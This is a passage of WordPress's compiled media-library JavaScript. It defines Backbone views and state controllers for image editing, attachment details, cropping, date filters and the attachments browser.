[attributes.menu=false] Initial mode for the menu region. * @param {string} [attributes.url] Unused. @todo Consider removal. */ EditImage = wp.media.controller.State.extend(/** @lends wp.media.controller.EditImage.prototype */{ defaults: { id: 'edit-image', title: l10n.editImage, menu: false, toolbar: 'edit-image', content: 'edit-image', url: '' }, /** * Activates a frame for editing a featured image. * * @since 3.9.0 * * @return {void} */ activate: function() { this.frame.on( 'toolbar:render:edit-image', _.bind( this.toolbar, this ) ); }, /** * Deactivates a frame for editing a featured image. * * @since 3.9.0 * * @return {void} */ deactivate: function() { this.frame.off( 'toolbar:render:edit-image' ); }, /** * Adds a toolbar with a back button. * * When the back button is pressed it checks whether there is a previous state. * In case there is a previous state it sets that previous state otherwise it * closes the frame. * * @since 3.9.0 * * @return {void} */ toolbar: function() { var frame = this.frame, lastState = frame.lastState(), previous = lastState && lastState.id; frame.toolbar.set( new wp.media.view.Toolbar({ controller: frame, items: { back: { style: 'primary', text: l10n.back, priority: 20, click: function() { if ( previous ) { frame.setState( previous ); } else { frame.close(); } } } } }) ); } }); module.exports = EditImage; /***/ }), /***/ 5694: /***/ ((module) => { /** * wp.media.controller.State * * A state is a step in a workflow that when set will trigger the controllers * for the regions to be updated as specified in the frame. * * A state has an event-driven lifecycle: * * 'ready' triggers when a state is added to a state machine's collection. * 'activate' triggers when a state is activated by a state machine. * 'deactivate' triggers when a state is deactivated by a state machine. * 'reset' is not triggered automatically. It should be invoked by the * proper controller to reset the state to its default. * * @memberOf wp.media.controller * * @class * @augments Backbone.Model */ var State = Backbone.Model.extend(/** @lends wp.media.controller.State.prototype */{ /** * Constructor. * * @since 3.5.0 */ constructor: function() { this.on( 'activate', this._preActivate, this ); this.on( 'activate', this.activate, this ); this.on( 'activate', this._postActivate, this ); this.on( 'deactivate', this._deactivate, this ); this.on( 'deactivate', this.deactivate, this ); this.on( 'reset', this.reset, this ); this.on( 'ready', this._ready, this ); this.on( 'ready', this.ready, this ); /** * Call parent constructor with passed arguments */ Backbone.Model.apply( this, arguments ); this.on( 'change:menu', this._updateMenu, this ); }, /** * Ready event callback. * * @abstract * @since 3.5.0 */ ready: function() {}, /** * Activate event callback. * * @abstract * @since 3.5.0 */ activate: function() {}, /** * Deactivate event callback. * * @abstract * @since 3.5.0 */ deactivate: function() {}, /** * Reset event callback. * * @abstract * @since 3.5.0 */ reset: function() {}, /** * @since 3.5.0 * @access private */ _ready: function() { this._updateMenu(); }, /** * @since 3.5.0 * @access private */ _preActivate: function() { this.active = true; }, /** * @since 3.5.0 * @access private */ _postActivate: function() { this.on( 'change:menu', this._menu, this ); this.on( 'change:titleMode', this._title, this ); this.on( 'change:content', this._content, this ); this.on( 'change:toolbar', this._toolbar, this ); this.frame.on( 'title:render:default', this._renderTitle, this ); this._title(); this._menu(); this._toolbar(); this._content(); this._router(); }, /** * @since 3.5.0 * @access private */ _deactivate: function() { this.active = false; this.frame.off( 'title:render:default', this._renderTitle, this ); this.off( 'change:menu', this._menu, this ); this.off( 'change:titleMode', this._title, this ); this.off( 'change:content', this._content, this ); this.off( 'change:toolbar', this._toolbar, this ); }, /** * @since 3.5.0 * @access private */ _title: function() { this.frame.title.render( this.get('titleMode') || 'default' ); }, /** * @since 3.5.0 * @access private */ _renderTitle: function( view ) { view.$el.text( this.get('title') || '' ); }, /** * @since 3.5.0 * @access private */ _router: function() { var router = this.frame.router, mode = this.get('router'), view; this.frame.$el.toggleClass( 'hide-router', ! mode ); if ( ! mode ) { return; } this.frame.router.render( mode ); view = router.get(); if ( view && view.select ) { view.select( this.frame.content.mode() ); } }, /** * @since 3.5.0 * @access private */ _menu: function() { var menu = this.frame.menu, mode = this.get('menu'), actionMenuItems, actionMenuLength, view; if ( this.frame.menu ) { actionMenuItems = this.frame.menu.get('views'), actionMenuLength = actionMenuItems ? actionMenuItems.views.get().length : 0, // Show action menu only if it is active and has more than one default element. this.frame.$el.toggleClass( 'hide-menu', ! mode || actionMenuLength < 2 ); } if ( ! mode ) { return; } menu.mode( mode ); view = menu.get(); if ( view && view.select ) { view.select( this.id ); } }, /** * @since 3.5.0 * @access private */ _updateMenu: function() { var previous = this.previous('menu'), menu = this.get('menu'); if ( previous ) { this.frame.off( 'menu:render:' + previous, this._renderMenu, this ); } if ( menu ) { this.frame.on( 'menu:render:' + menu, this._renderMenu, this ); } }, /** * Create a view in the media menu for the state. * * @since 3.5.0 * @access private * * @param {media.view.Menu} view The menu view. */ _renderMenu: function( view ) { var menuItem = this.get('menuItem'), title = this.get('title'), priority = this.get('priority'); if ( ! menuItem && title ) { menuItem = { text: title }; if ( priority ) { menuItem.priority = priority; } } if ( ! menuItem ) { return; } view.set( this.id, menuItem ); } }); _.each(['toolbar','content'], function( region ) { /** * @access private */ State.prototype[ '_' + region ] = function() { var mode = this.get( region ); if ( mode ) { this.frame[ region ].render( mode ); } }; }); module.exports = State; /***/ }), /***/ 5741: /***/ ((module) => { /** * wp.media.view.Embed * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Embed = wp.media.View.extend(/** @lends wp.media.view.Ember.prototype */{ className: 'media-embed', initialize: function() { /** * @member {wp.media.view.EmbedUrl} */ this.url = new wp.media.view.EmbedUrl({ controller: this.controller, model: this.model.props }).render(); this.views.set([ this.url ]); this.refresh(); this.listenTo( this.model, 'change:type', this.refresh ); this.listenTo( this.model, 'change:loading', this.loading ); }, /** * @param {Object} view */ settings: function( view ) { if ( this._settings ) { this._settings.remove(); } this._settings = view; this.views.add( view ); }, refresh: function() { var type = this.model.get('type'), constructor; if ( 'image' === type ) { constructor = wp.media.view.EmbedImage; } else if ( 'link' === type ) { constructor = wp.media.view.EmbedLink; } else { return; } this.settings( new constructor({ controller: this.controller, model: this.model.props, priority: 40 }) ); }, loading: function() { this.$el.toggleClass( 'embed-loading', this.model.get('loading') ); } }); module.exports = Embed; /***/ }), /***/ 6090: /***/ ((module) => { /* global ClipboardJS */ var Attachment = wp.media.view.Attachment, l10n = wp.media.view.l10n, $ = jQuery, Details, __ = wp.i18n.__; Details = Attachment.extend(/** @lends wp.media.view.Attachment.Details.prototype */{ tagName: 'div', className: 'attachment-details', template: wp.template('attachment-details'), /* * Reset all the attributes inherited from Attachment including role=checkbox, * tabindex, etc., as they are inappropriate for this view. See #47458 and [30483] / #30390. */ attributes: {}, events: { 'change [data-setting]': 'updateSetting', 'change [data-setting] input': 'updateSetting', 'change [data-setting] select': 'updateSetting', 'change [data-setting] textarea': 'updateSetting', 'click .delete-attachment': 'deleteAttachment', 'click .trash-attachment': 'trashAttachment', 'click .untrash-attachment': 'untrashAttachment', 'click .edit-attachment': 'editAttachment', 'keydown': 'toggleSelectionHandler' }, /** * Copies the attachment URL to the clipboard. * * @since 5.5.0 * * @param {MouseEvent} event A click event. * * @return {void} */ copyAttachmentDetailsURLClipboard: function() { var clipboard = new ClipboardJS( '.copy-attachment-url' ), successTimeout; clipboard.on( 'success', function( event ) { var triggerElement = $( event.trigger ), successElement = $( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) ); // Clear the selection and move focus back to the trigger. event.clearSelection(); // Show success visual feedback. clearTimeout( successTimeout ); successElement.removeClass( 'hidden' ); // Hide success visual feedback after 3 seconds since last success. successTimeout = setTimeout( function() { successElement.addClass( 'hidden' ); }, 3000 ); // Handle success audible feedback. wp.a11y.speak( __( 'The file URL has been copied to your clipboard' ) ); } ); }, /** * Shows the details of an attachment. * * @since 3.5.0 * * @constructs wp.media.view.Attachment.Details * @augments wp.media.view.Attachment * * @return {void} */ initialize: function() { this.options = _.defaults( this.options, { rerenderOnModelChange: false }); // Call 'initialize' directly on the parent class. Attachment.prototype.initialize.apply( this, arguments ); this.copyAttachmentDetailsURLClipboard(); }, /** * Gets the focusable elements to move focus to. * * @since 5.3.0 */ getFocusableElements: function() { var editedAttachment = $( 'li[data-id="' + this.model.id + '"]' ); this.previousAttachment = editedAttachment.prev(); this.nextAttachment = editedAttachment.next(); }, /** * Moves focus to the previous or next attachment in the grid. * Fallbacks to the upload button or media frame when there are no attachments. * * @since 5.3.0 */ moveFocus: function() { if ( this.previousAttachment.length ) { this.previousAttachment.trigger( 'focus' ); return; } if ( this.nextAttachment.length ) { this.nextAttachment.trigger( 'focus' ); return; } // Fallback: move focus to the "Select Files" button in the media modal. if ( this.controller.uploader && this.controller.uploader.$browser ) { this.controller.uploader.$browser.trigger( 'focus' ); return; } // Last fallback. this.moveFocusToLastFallback(); }, /** * Moves focus to the media frame as last fallback. * * @since 5.3.0 */ moveFocusToLastFallback: function() { // Last fallback: make the frame focusable and move focus to it. $( '.media-frame' ) .attr( 'tabindex', '-1' ) .trigger( 'focus' ); }, /** * Deletes an attachment. * * Deletes an attachment after asking for confirmation. After deletion, * keeps focus in the modal. * * @since 3.5.0 * * @param {MouseEvent} event A click event. * * @return {void} */ deleteAttachment: function( event ) { event.preventDefault(); this.getFocusableElements(); if ( window.confirm( l10n.warnDelete ) ) { this.model.destroy( { wait: true, error: function() { window.alert( l10n.errorDeleting ); } } ); this.moveFocus(); } }, /** * Sets the Trash state on an attachment, or destroys the model itself. * * If the mediaTrash setting is set to true, trashes the attachment. * Otherwise, the model itself is destroyed. * * @since 3.9.0 * * @param {MouseEvent} event A click event. * * @return {void} */ trashAttachment: function( event ) { var library = this.controller.library, self = this; event.preventDefault(); this.getFocusableElements(); // When in the Media Library and the Media Trash is enabled. if ( wp.media.view.settings.mediaTrash && 'edit-metadata' === this.controller.content.mode() ) { this.model.set( 'status', 'trash' ); this.model.save().done( function() { library._requery( true ); /* * @todo We need to move focus back to the previous, next, or first * attachment but the library gets re-queried and refreshed. * Thus, the references to the previous attachments are lost. * We need an alternate method. */ self.moveFocusToLastFallback(); } ); } else { this.model.destroy(); this.moveFocus(); } }, /** * Untrashes an attachment. * * @since 4.0.0 * * @param {MouseEvent} event A click event. * * @return {void} */ untrashAttachment: function( event ) { var library = this.controller.library; event.preventDefault(); this.model.set( 'status', 'inherit' ); this.model.save().done( function() { library._requery( true ); } ); }, /** * Opens the edit page for a specific attachment. * * @since 3.5.0 * * @param {MouseEvent} event A click event. * * @return {void} */ editAttachment: function( event ) { var editState = this.controller.states.get( 'edit-image' ); if ( window.imageEdit && editState ) { event.preventDefault(); editState.set( 'image', this.model ); this.controller.setState( 'edit-image' ); } else { this.$el.addClass('needs-refresh'); } }, /** * Triggers an event on the controller when reverse tabbing (shift+tab). * * This event can be used to make sure to move the focus correctly. * * @since 4.0.0 * * @fires wp.media.controller.MediaLibrary#attachment:details:shift-tab * @fires wp.media.controller.MediaLibrary#attachment:keydown:arrow * * @param {KeyboardEvent} event A keyboard event. * * @return {boolean|void} Returns false or undefined. */ toggleSelectionHandler: function( event ) { if ( 'keydown' === event.type && 9 === event.keyCode && event.shiftKey && event.target === this.$( ':tabbable' ).get( 0 ) ) { this.controller.trigger( 'attachment:details:shift-tab', event ); return false; } }, render: function() { Attachment.prototype.render.apply( this, arguments ); wp.media.mixin.removeAllPlayers(); this.$( 'audio, video' ).each( function (i, elem) { var el = wp.media.view.MediaDetails.prepareSrc( elem ); new window.MediaElementPlayer( el, wp.media.mixin.mejsSettings ); } ); } }); module.exports = Details; /***/ }), /***/ 6126: /***/ ((module) => { var View = wp.media.View, EditImage; /** * wp.media.view.EditImage * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ EditImage = View.extend(/** @lends wp.media.view.EditImage.prototype */{ className: 'image-editor', template: wp.template('image-editor'), initialize: function( options ) { this.editor = window.imageEdit; this.controller = options.controller; View.prototype.initialize.apply( this, arguments ); }, prepare: function() { return this.model.toJSON(); }, loadEditor: function() { this.editor.open( this.model.get( 'id' ), this.model.get( 'nonces' ).edit, this ); }, back: function() { var lastState = this.controller.lastState(); this.controller.setState( lastState ); }, refresh: function() { this.model.fetch(); }, save: function() { var lastState = this.controller.lastState(); this.model.fetch().done( _.bind( function() { this.controller.setState( lastState ); }, this ) ); } }); module.exports = EditImage; /***/ }), /***/ 6150: /***/ ((module) => { /** * wp.media.controller.StateMachine * * A state machine keeps track of state. It is in one state at a time, * and can change from one state to another. * * States are stored as models in a Backbone collection. * * @memberOf wp.media.controller * * @since 3.5.0 * * @class * @augments Backbone.Model * @mixin * @mixes Backbone.Events */ var StateMachine = function() { return { // Use Backbone's self-propagating `extend` inheritance method. extend: Backbone.Model.extend }; }; _.extend( StateMachine.prototype, Backbone.Events,/** @lends wp.media.controller.StateMachine.prototype */{ /** * Fetch a state. * * If no `id` is provided, returns the active state. * * Implicitly creates states. * * Ensure that the `states` collection exists so the `StateMachine` * can be used as a mixin. * * @since 3.5.0 * * @param {string} id * @return {wp.media.controller.State} Returns a State model from * the StateMachine collection. */ state: function( id ) { this.states = this.states || new Backbone.Collection(); // Default to the active state. id = id || this._state; if ( id && ! this.states.get( id ) ) { this.states.add({ id: id }); } return this.states.get( id ); }, /** * Sets the active state. * * Bail if we're trying to select the current state, if we haven't * created the `states` collection, or are trying to select a state * that does not exist. * * @since 3.5.0 * * @param {string} id * * @fires wp.media.controller.State#deactivate * @fires wp.media.controller.State#activate * * @return {wp.media.controller.StateMachine} Returns itself to allow chaining. */ setState: function( id ) { var previous = this.state(); if ( ( previous && id === previous.id ) || ! this.states || ! this.states.get( id ) ) { return this; } if ( previous ) { previous.trigger('deactivate'); this._lastState = previous.id; } this._state = id; this.state().trigger('activate'); return this; }, /** * Returns the previous active state. * * Call the `state()` method with no parameters to retrieve the current * active state. * * @since 3.5.0 * * @return {wp.media.controller.State} Returns a State model from * the StateMachine collection. */ lastState: function() { if ( this._lastState ) { return this.state( this._lastState ); } } }); // Map all event binding and triggering on a StateMachine to its `states` collection. _.each([ 'on', 'off', 'trigger' ], function( method ) { /** * @function on * @memberOf wp.media.controller.StateMachine * @instance * @return {wp.media.controller.StateMachine} Returns itself to allow chaining. */ /** * @function off * @memberOf wp.media.controller.StateMachine * @instance * @return {wp.media.controller.StateMachine} Returns itself to allow chaining. */ /** * @function trigger * @memberOf wp.media.controller.StateMachine * @instance * @return {wp.media.controller.StateMachine} Returns itself to allow chaining. */ StateMachine.prototype[ method ] = function() { // Ensure that the `states` collection exists so the `StateMachine` // can be used as a mixin. this.states = this.states || new Backbone.Collection(); // Forward the method to the `states` collection. this.states[ method ].apply( this.states, arguments ); return this; }; }); module.exports = StateMachine; /***/ }), /***/ 6172: /***/ ((module) => { var Controller = wp.media.controller, SiteIconCropper; /** * wp.media.controller.SiteIconCropper * * A state for cropping a Site Icon. * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.Cropper * @augments wp.media.controller.State * @augments Backbone.Model */ SiteIconCropper = Controller.Cropper.extend(/** @lends wp.media.controller.SiteIconCropper.prototype */{ activate: function() { this.frame.on( 'content:create:crop', this.createCropContent, this ); this.frame.on( 'close', this.removeCropper, this ); this.set('selection', new Backbone.Collection(this.frame._selection.single)); }, createCropContent: function() { this.cropperView = new wp.media.view.SiteIconCropper({ controller: this, attachment: this.get('selection').first() }); this.cropperView.on('image-loaded', this.createCropToolbar, this); this.frame.content.set(this.cropperView); }, doCrop: function( attachment ) { var cropDetails = attachment.get( 'cropDetails' ), control = this.get( 'control' ); cropDetails.dst_width = control.params.width; cropDetails.dst_height = control.params.height; return wp.ajax.post( 'crop-image', { nonce: attachment.get( 'nonces' ).edit, id: attachment.get( 'id' ), context: 'site-icon', cropDetails: cropDetails } ); } }); module.exports = SiteIconCropper; /***/ }), /***/ 6327: /***/ ((module) => { /** * wp.media.view.RouterItem * * @memberOf wp.media.view * * @class * @augments wp.media.view.MenuItem * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var RouterItem = wp.media.view.MenuItem.extend(/** @lends wp.media.view.RouterItem.prototype */{ /** * On click handler to activate the content region's corresponding mode. */ click: function() { var contentMode = this.options.contentMode; if ( contentMode ) { this.controller.content.mode( contentMode ); } } }); module.exports = RouterItem; /***/ }), /***/ 6442: /***/ ((module) => { /** * wp.media.view.UploaderStatusError * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var UploaderStatusError = wp.media.View.extend(/** @lends wp.media.view.UploaderStatusError.prototype */{ className: 'upload-error', template: wp.template('uploader-status-error') }); module.exports = UploaderStatusError; /***/ }), /***/ 6472: /***/ ((module) => { var l10n = wp.media.view.l10n, DateFilter; /** * A filter dropdown for month/dates. * * @memberOf wp.media.view.AttachmentFilters * * @class * @augments wp.media.view.AttachmentFilters * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ DateFilter = wp.media.view.AttachmentFilters.extend(/** @lends wp.media.view.AttachmentFilters.Date.prototype */{ id: 'media-attachment-date-filters', createFilters: function() { var filters = {}; _.each( wp.media.view.settings.months || {}, function( value, index ) { filters[ index ] = { text: value.text, props: { year: value.year, monthnum: value.month } }; }); filters.all = { text: l10n.allDates, props: { monthnum: false, year: false }, priority: 10 }; this.filters = filters; } }); module.exports = DateFilter; /***/ }), /***/ 6829: /***/ ((module) => { var View = wp.media.View, mediaTrash = wp.media.view.settings.mediaTrash, l10n = wp.media.view.l10n, $ = jQuery, AttachmentsBrowser, infiniteScrolling = wp.media.view.settings.infiniteScrolling, __ = wp.i18n.__, sprintf = wp.i18n.sprintf; /** * wp.media.view.AttachmentsBrowser * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * * @param {object} [options] The options hash passed to the view. * @param {boolean|string} [options.filters=false] Which filters to show in the browser's toolbar. * Accepts 'uploaded' and 'all'. * @param {boolean} [options.search=true] Whether to show the search interface in the * browser's toolbar. * @param {boolean} [options.date=true] Whether to show the date filter in the * browser's toolbar. * @param {boolean} [options.display=false] Whether to show the attachments display settings * view in the sidebar. * @param {boolean|string} [options.sidebar=true] Whether to create a sidebar for the browser. * Accepts true, false, and 'errors'. */ AttachmentsBrowser = View.extend(/** @lends wp.media.view.AttachmentsBrowser.prototype */{ tagName: 'div', className: 'attachments-browser', initialize: function() { _.defaults( this.options, { filters: false, search: true, date: true, display: false, sidebar: true, AttachmentView: wp.media.view.Attachment.Library }); this.controller.on( 'toggle:upload:attachment', this.toggleUploader, this ); this.controller.on( 'edit:selection', this.editSelection ); // In the Media Library, the sidebar is used to display errors before the attachments grid. if ( this.options.sidebar && 'errors' === this.options.sidebar ) { this.createSidebar(); } /* * In the grid mode (the Media Library), place the Inline Uploader before * other sections so that the visual order and the DOM order match. This way, * the Inline Uploader in the Media Library is right after the "Add New" * button, see ticket #37188. */ if ( this.controller.isModeActive( 'grid' ) ) { this.createUploader(); /* * Create a multi-purpose toolbar. Used as main toolbar in the Media Library * and also for other things, for example the "Drag and drop to reorder" and * "Suggested dimensions" info in the media modal. */ this.createToolbar(); } else { this.createToolbar(); this.createUploader(); } // Add a heading before the attachments list. this.createAttachmentsHeading(); // Create the attachments wrapper view. this.createAttachmentsWrapperView(); if ( ! infiniteScrolling ) { this.$el.addClass( 'has-load-more' ); this.createLoadMoreView(); } // For accessibility reasons, place the normal sidebar after the attachments, see ticket #36909. if ( this.options.sidebar && 'errors' !== this.options.sidebar ) { this.createSidebar(); } this.updateContent(); if ( ! infiniteScrolling ) { this.updateLoadMoreView(); } if ( ! this.options.sidebar || 'errors' === this.options.sidebar ) { this.$el.addClass( 'hide-sidebar' ); if ( 'errors' === this.options.sidebar ) { this.$el.addClass( 'sidebar-for-errors' ); } } this.collection.on( 'add remove reset', this.updateContent, this ); if ( ! infiniteScrolling ) { this.collection.on( 'add remove reset', this.updateLoadMoreView, this ); } // The non-cached or cached attachments query has completed. this.collection.on( 'attachments:received', this.announceSearchResults, this ); }, /** * Updates the `wp.a11y.speak()` ARIA live region with a message to communicate * the number of search results to screen reader users. This function is * debounced because the collection updates multiple times. * * @since 5.3.0 * * @return {void} */ announceSearchResults: _.debounce( function() { var count, /* translators: Accessibility text. %d: Number of attachments found in a search. */ mediaFoundHasMoreResultsMessage = __( 'Number of media items displayed: %d. Click load more for more results.' ); if ( infiniteScrolling ) { /* translators: Accessibility text. %d: Number of attachments found in a search. */ mediaFoundHasMoreResultsMessage = __( 'Number of media items displayed: %d. Scroll the page for more results.' ); } if ( this.collection.mirroring && this.collection.mirroring.args.s ) { count = this.collection.length; if ( 0 === count ) { wp.a11y.speak( l10n.noMediaTryNewSearch ); return; } if ( this.collection.hasMore() ) { wp.a11y.speak( mediaFoundHasMoreResultsMessage.replace( '%d', count ) ); return; } wp.a11y.speak( l10n.mediaFound.replace( '%d', count ) ); } }, 200 ), editSelection: function( modal ) { // When editing a selection, move focus to the "Go to library" button. modal.$( '.media-button-backToLibrary' ).focus(); }, /** * @return {wp.media.view.AttachmentsBrowser} Returns itself to allow chaining. */ dispose: function() { this.options.selection.off( null, null, this ); View.prototype.dispose.apply( this, arguments ); return this; }, createToolbar: function() { var LibraryViewSwitcher, Filters, toolbarOptions, showFilterByType = -1 !== $.inArray( this.options.filters, [ 'uploaded', 'all' ] ); toolbarOptions = { controller: this.controller }; if ( this.controller.isModeActive( 'grid' ) ) { toolbarOptions.className = 'media-toolbar wp-filter'; } /** * @member {wp.media.view.Toolbar} */ this.toolbar = new wp.media.view.Toolbar( toolbarOptions ); this.views.add( this.toolbar ); this.toolbar.set( 'spinner', new wp.media.view.Spinner({ priority: -20 }) ); if ( showFilterByType || this.options.date ) { /* * Create a h2 heading before the select elements that filter attachments. * This heading is visible in the modal and visually hidden in the grid. */ this.toolbar.set( 'filters-heading', new wp.media.view.Heading( { priority: -100, text: l10n.filterAttachments, level: 'h2', className: 'media-attachments-filter-heading' }).render() ); } if ( showFilterByType ) { // "Filters" is a <select>, a visually hidden label element needs to be rendered before. this.toolbar.set( 'filtersLabel', new wp.media.view.Label({ value: l10n.filterByType, attributes: { 'for': 'media-attachment-filters' }, priority: -80 }).render() ); if ( 'uploaded' === this.options.filters ) { this.toolbar.set( 'filters', new wp.media.view.AttachmentFilters.Uploaded({ controller: this.controller, model: this.collection.props, priority: -80 }).render() ); } else { Filters = new wp.media.view.AttachmentFilters.All({ controller: this.controller, model: this.collection.props, priority: -80 }); this.toolbar.set( 'filters', Filters.render() ); } } /* * Feels odd to bring the global media library switcher into the Attachment browser view. * Is this a use case for doAction( 'add:toolbar-items:attachments-browser', this.toolbar ); * which the controller can tap into and add this view? */ if ( this.controller.isModeActive( 'grid' ) ) { LibraryViewSwitcher = View.extend({ className: 'view-switch media-grid-view-switch', template: wp.template( 'media-library-view-switcher') }); this.toolbar.set( 'libraryViewSwitcher', new LibraryViewSwitcher({ controller: this.controller, priority: -90 }).render() ); // DateFilter is a <select>, a visually hidden label element needs to be rendered before. this.toolbar.set( 'dateFilterLabel', new wp.media.view.Label({ value: l10n.filterByDate, attributes: { 'for': 'media-attachment-date-filters' }, priority: -75 }).render() ); this.toolbar.set( 'dateFilter', new wp.media.view.DateFilter({ controller: this.controller, model: this.collection.props, priority: -75 }).render() ); // BulkSelection is a <div> with subviews, including screen reader text. this.toolbar.set( 'selectModeToggleButton', new wp.media.view.SelectModeToggleButton({ text: l10n.bulkSelect, controller: this.controller, priority: -70 }).render() ); this.toolbar.set( 'deleteSelectedButton', new wp.media.view.DeleteSelectedButton({ filters: Filters, style: 'primary', disabled: true, text: mediaTrash ? l10n.trashSelected : l10n.deletePermanently, controller: this.controller, priority: -80, click: function() { var changed = [], removed = [], selection = this.controller.state().get( 'selection' ), library = this.controller.state().get( 'library' ); if ( ! selection.length ) { return; } if ( ! mediaTrash && ! window.confirm( l10n.warnBulkDelete ) ) { return; } if ( mediaTrash && 'trash' !== selection.at( 0 ).get( 'status' ) && ! window.confirm( l10n.warnBulkTrash ) ) { return; } selection.each( function( model ) { if ( ! model.get( 'nonces' )['delete'] ) { removed.push( model ); return; } if ( mediaTrash && 'trash' === model.get( 'status' ) ) { model.set( 'status', 'inherit' ); changed.push( model.save() ); removed.push( model ); } else if ( mediaTrash ) { model.set( 'status', 'trash' ); changed.push( model.save() ); removed.push( model ); } else { model.destroy({wait: true}); } } ); if ( changed.length ) { selection.remove( removed ); $.when.apply( null, changed ).then( _.bind( function() { library._requery( true ); this.controller.trigger( 'selection:action:done' ); }, this ) ); } else { this.controller.trigger( 'selection:action:done' ); } } }).render() ); if ( mediaTrash ) { this.toolbar.set( 'deleteSelectedPermanentlyButton', new wp.media.view.DeleteSelectedPermanentlyButton({ filters: Filters, style: 'link button-link-delete', disabled: true, text: l10n.deletePermanently, controller: this.controller, priority: -55, click: function() { var removed = [], destroy = [], selection = this.controller.state().get( 'selection' ); if ( ! selection.length || ! window.confirm( l10n.warnBulkDelete ) ) { return; } selection.each( function( model ) { if ( ! model.get( 'nonces' )['delete'] ) { removed.push( model ); return; } destroy.push( model ); } ); if ( removed.length ) { selection.remove( removed ); } if ( destroy.length ) { $.when.apply( null, destroy.map( function (item) { return item.destroy(); } ) ).then( _.bind( function() { this.controller.trigger( 'selection:action:done' ); }, this ) ); } } }).render() ); } } else if ( this.options.date ) { // DateFilter is a <select>, a visually hidden label element needs to be rendered before. this.toolbar.set( 'dateFilterLabel', new wp.media.view.Label({ value: l10n.filterByDate, attributes: { 'for': 'media-attachment-date-filters' }, priority: -75 }).render() ); this.toolbar.set( 'dateFilter', new wp.media.view.DateFilter({ controller: this.controller, model: this.collection.props, priority: -75 }).render() ); } if ( this.options.search ) { // Search is an input, a label element needs to be rendered before. this.toolbar.set( 'searchLabel', new wp.media.view.Label({ value: l10n.searchLabel, className: 'media-search-input-label', attributes: { 'for': 'media-search-input' }, priority: 60 }).render() ); this.toolbar.set( 'search', new wp.media.view.Search({ controller: this.controller, model: this.collection.props, priority: 60 }).render() ); } if ( this.options.dragInfo ) { this.toolbar.set( 'dragInfo', new View({ el: $( '<div class="instructions">' + l10n.dragInfo + '</div>' )[0], priority: -40 }) ); } if ( this.options.suggestedWidth && this.options.suggestedHeight ) { this.toolbar.set( 'suggestedDimensions', new View({ el: $( '<div class="instructions">' + l10n.suggestedDimensions.replace( '%1$s', this.options.suggestedWidth ).replace( '%2$s', this.options.suggestedHeight ) + '</div>' )[0], priority: -40 }) ); } }, updateContent: function() { var view = this, noItemsView; if ( this.controller.isModeActive( 'grid' ) ) { // Usually the media library. noItemsView = view.attachmentsNoResults; } else { // Usually the media modal. noItemsView = view.uploader; } if ( ! this.collection.length ) { this.toolbar.get( 'spinner' ).show(); this.toolbar.$( '.media-bg-overlay' ).show(); this.dfd = this.collection.more().done( function() { if ( ! view.collection.length ) { noItemsView.$el.removeClass( 'hidden' ); } else { noItemsView.$el.addClass( 'hidden' ); } view.toolbar.get( 'spinner' ).hide(); view.toolbar.$( '.media-bg-overlay' ).hide(); } ); } else { noItemsView.$el.addClass( 'hidden' ); view.toolbar.get( 'spinner' ).hide(); this.toolbar.$( '.media-bg-overlay' ).hide(); } }, createUploader: function() { this.uploader = new wp.media.view.UploaderInline({ controller: this.controller, status: false, message: this.controller.isModeActive( 'grid' ) ? '' : l10n.noItemsFound, canClose: this.controller.isModeActive( 'grid' ) }); this.uploader.$el.addClass( 'hidden' ); this.views.add( this.uploader ); }, toggleUploader: function() { if ( this.uploader.$el.hasClass( 'hidden' ) ) { this.uploader.show(); } else { this.uploader.hide(); } }, /** * Creates the Attachments wrapper view. * * @since 5.8.0 * * @return {void} */ createAttachmentsWrapperView: function() { this.attachmentsWrapper = new wp.media.View( { className: 'attachments-wrapper' } ); // Create the list of attachments. this.views.add( this.attachmentsWrapper ); this.createAttachments(); }, createAttachments: function() { this.attachments = new wp.media.view.Attachments({ controller: this.controller, collection: this.collection, selection: this.options.selection, model: this.model, sortable: this.options.sortable, scrollElement: this.options.scrollElement, idealColumnWidth: this.options.idealColumnWidth, // The single `Attachment` view to be used in the `Attachments` view. AttachmentView: this.options.AttachmentView }); // Add keydown listener to the instance of the Attachments view. this.controller.on( 'attachment:keydown:arrow', _.bind( this.attachments.arrowEvent, this.attachments ) ); this.controller.on( 'attachment:details:shift-tab', _.bind( this.attachments.restoreFocus, this.attachments ) ); this.views.add( '.attachments-wrapper', this.attachments ); if ( this.controller.isModeActive( 'grid' ) ) { this.attachmentsNoResults = new View({ controller: this.controller, tagName: 'p' }); this.attachmentsNoResults.$el.addClass( 'hidden no-media' ); this.attachmentsNoResults.$el.html( l10n.noMedia ); this.views.add( this.attachmentsNoResults ); } }, /** * Creates the load more button and attachments counter view. * * @since 5.8.0 * * @return {void} */ createLoadMoreView: function() { var view = this; this.loadMoreWrapper = new View( { controller: this.controller, className: 'load-more-wrapper' } ); this.loadMoreCount = new View( { controller: this.controller, tagName: 'p', className: 'load-more-count hidden' } ); this.loadMoreButton = new wp.media.view.Button( { text: __( 'Load more' ), className: 'load-more hidden', style: 'primary', size: '', click: function() { view.loadMoreAttachments(); } } ); this.loadMoreSpinner = new wp.media.view.Spinner(); this.loadMoreJumpToFirst = new wp.media.view.Button( { text: __( 'Jump to first loaded item' ), className: 'load-more-jump hidden', size: '', click: function() { view.jumpToFirstAddedItem(); } } ); this.views.add( '.attachments-wrapper', this.loadMoreWrapper ); this.views.add( '.load-more-wrapper', this.loadMoreSpinner ); this.views.add( '.load-more-wrapper', this.loadMoreCount ); this.views.add( '.load-more-wrapper', this.loadMoreButton ); this.views.add( '.load-more-wrapper', this.loadMoreJumpToFirst ); }, /** * Updates the Load More view. This function is debounced because the * collection updates multiple times at the add, remove, and reset events. * We need it to run only once, after all attachments are added or removed. * * @since 5.8.0 * * @return {void} */ updateLoadMoreView: _.debounce( function() { // Ensure the load more view elements are initially hidden at each update. this.loadMoreButton.$el.addClass( 'hidden' ); this.loadMoreCount.$el.addClass( 'hidden' ); this.loadMoreJumpToFirst.$el.addClass( 'hidden' ).prop( 'disabled', true ); if ( ! 